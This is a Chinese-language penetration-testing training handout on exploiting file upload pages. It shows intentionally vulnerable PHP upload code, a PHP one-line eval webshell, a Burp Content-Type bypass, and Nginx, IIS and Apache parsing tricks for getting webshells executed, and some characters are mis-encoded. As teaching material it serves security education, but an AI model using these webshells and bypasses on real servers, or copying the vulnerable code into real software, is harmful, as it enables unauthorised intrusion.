米斯特白帽培訓(xùn)講義 漏洞篇 文件上傳
講師:gh0stkey
整理:飛龍
協(xié)議:CC BY-NC-SA 4.0
我們首先看一下文件上傳的流程圖。

其中,瀏覽器通過上傳頁面將文件儲(chǔ)存到服務(wù)器中。一般這些上傳頁面都會(huì)有限制(比如限制格式為jpg/gif/png等等,或者限制文件大?。?。
我們所關(guān)注的這個(gè)上傳頁面,一旦限制了文件就可能導(dǎo)致我們的滲透測試失敗。那么真的完全失敗了嗎?后面會(huì)講到很多方法,代碼本身我們突破不了,但是我們可以用這些方法來繞過限制。
漏洞頁面大致分為兩種,一種是不限制任何格式,隨意上傳,這種現(xiàn)在比較少了。另一種是限制Content-type,雖然它限制了文件類型,但我們就可以突破它。
任意文件上傳
看一下這段代碼:
<form action="" method="POST" ENCTYPE="multipart/form-data">
點(diǎn)這里上傳文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo '上傳成功!';
else
echo '上傳失??!';
首先是一個(gè)文件上傳表單,我們可以看到表單中多了一個(gè)enctype屬性,是因?yàn)槲募蟼鞯母袷胶椭安灰粯?,不加這個(gè)就無法識(shí)別了。
然后會(huì)檢查是否接受到了上傳文件,沒有接收到就直接結(jié)束。之后會(huì)打印出文件信息,便于我們調(diào)試。之后將上傳文件的名稱和保存上傳文件的目錄拼接,將文件從臨時(shí)目錄移動(dòng)到這個(gè)目錄。最后輸出成功或失敗信息。
將其保存為upfile.php后,我們首先訪問它并嘗試上傳一個(gè)文件。我們把一句話<?php @eval($_POST['a']) ?>寫入1.php,然后把它上傳到服務(wù)器。

于是我們看到上傳成功。

我們可以看到打印出的文件信息,其中:
-
userfile是這個(gè)文件在數(shù)組中的索引,也是表單中的文件上傳輸入框的名稱。 -
name是這個(gè)文件的文件名。 -
type是這個(gè)文件的類型。 -
tmp_name是這個(gè)文件的臨時(shí)完整路徑。 -
error是錯(cuò)誤代碼。 -
size是文件大小。
之后,嘗試直接訪問所上傳的文件,發(fā)現(xiàn)訪問成功。

然后我們就可以拿菜刀連接了。

我們可以看到連接成功,那么我們就成功地 GetShell 了。
存在限制
如果upfile.php的內(nèi)容變成這樣:
<form action="" method="POST" enctype="multipart/form-data">
點(diǎn)這里上傳文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(@$_FILES['userfile']['type'] != "image/gif"){
echo "對(duì)不起,我們只允許上傳GIF格式的圖片!!";
exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "上傳成功!";
else
echo "上傳失?。?;
這段代碼多出來的東西就是,它首先驗(yàn)證了文件類型,如果是gif則放過,不是則攔截。那么根據(jù)multipart編碼類型,type這個(gè)東西在瀏覽器生成之后,是可以改的。我們可以通過 Burp 攔截并修改這個(gè)值。
首先我們打開 Burp,配置代理,訪問upfile.php。之后開啟攔截模式并上傳一個(gè)文件:
我們攔截之后,找到Content-Type,發(fā)現(xiàn)他是application/oct-stream,我們把它改成image/gif,之后放行(可能需要多次,在我這里是這樣)。


然后我們可以看到上傳成功,上傳目錄中出現(xiàn)了我們上傳的文件。


Nginx 解析漏洞
如果服務(wù)器是 Nginx,我們可以直接上傳圖片格式,利用解析漏洞拿 Webshell。漏洞成因是,由于 Nginx 部分版本程序自身的漏洞,導(dǎo)致可以解析并執(zhí)行非腳本文件。
假設(shè)存在漏洞的站點(diǎn)上有一張圖片,URL 地址為:
www.xxx.com/logo.jpg
我們正常訪問時(shí),Nginx 會(huì)把它當(dāng)做非腳本,直接讀取并傳給客戶端。但是如果我們這樣訪問:
www.xxx.com/logo.jpg/a.php
他就會(huì)把logo.jpg當(dāng)做 PHP 文件來執(zhí)行?;蛘呤?/p>
www.xxx.com/logo.jpg%00.php
也會(huì)導(dǎo)致圖片執(zhí)行,這個(gè)是 7 月中旬爆出的解析漏洞。
要利用這個(gè)漏洞,我們可以隨便找一張圖片,在里面插入一句話:

我們將其上傳之后,訪問圖片的 URL,確認(rèn)上傳成功。

然后我們利用該解析漏洞構(gòu)造 URL,發(fā)現(xiàn)也能夠成功訪問,也能拿菜刀來連接。


IIS 解析漏洞
IIS 5.x/6.0 主要存在兩個(gè)解析漏洞,第一個(gè)是目錄解析:
/a.asp/b.jpg
其中a.asp是目錄,b.jpg是真實(shí)存在的文件,那么b.jpg會(huì)當(dāng)做asp文件來執(zhí)行。這個(gè)漏洞需要我們能夠創(chuàng)建目錄。
第二個(gè)是文件解析,也就是分號(hào)截?cái)啵?/p>
a.asp;.jpg
這個(gè)文件的擴(kuò)展名在上傳時(shí)是jpg,但是上傳之后,IIS 會(huì)把它當(dāng)做asp文件來解析。
另外,在IIS 中,可執(zhí)行腳本的擴(kuò)展名除了asp之外,還有asa、cdx、cer。許多網(wǎng)站往往就過濾不全,一定要重視!!
Apache 解析漏洞
Apache 的解析漏洞比較有意思,它從右到左解析擴(kuò)展名,如果碰到不認(rèn)識(shí)的擴(kuò)展名,則繼續(xù)往下解析。比如我們上傳a.php.x1.x2.x3,它按照x3 x2 x1 php的順序解析擴(kuò)展名,但是他不認(rèn)識(shí)后面三個(gè),所以只能將其解析為php。但在文件上傳時(shí),文件的擴(kuò)展名一直是x3,所以可以繞過一些校驗(yàn)。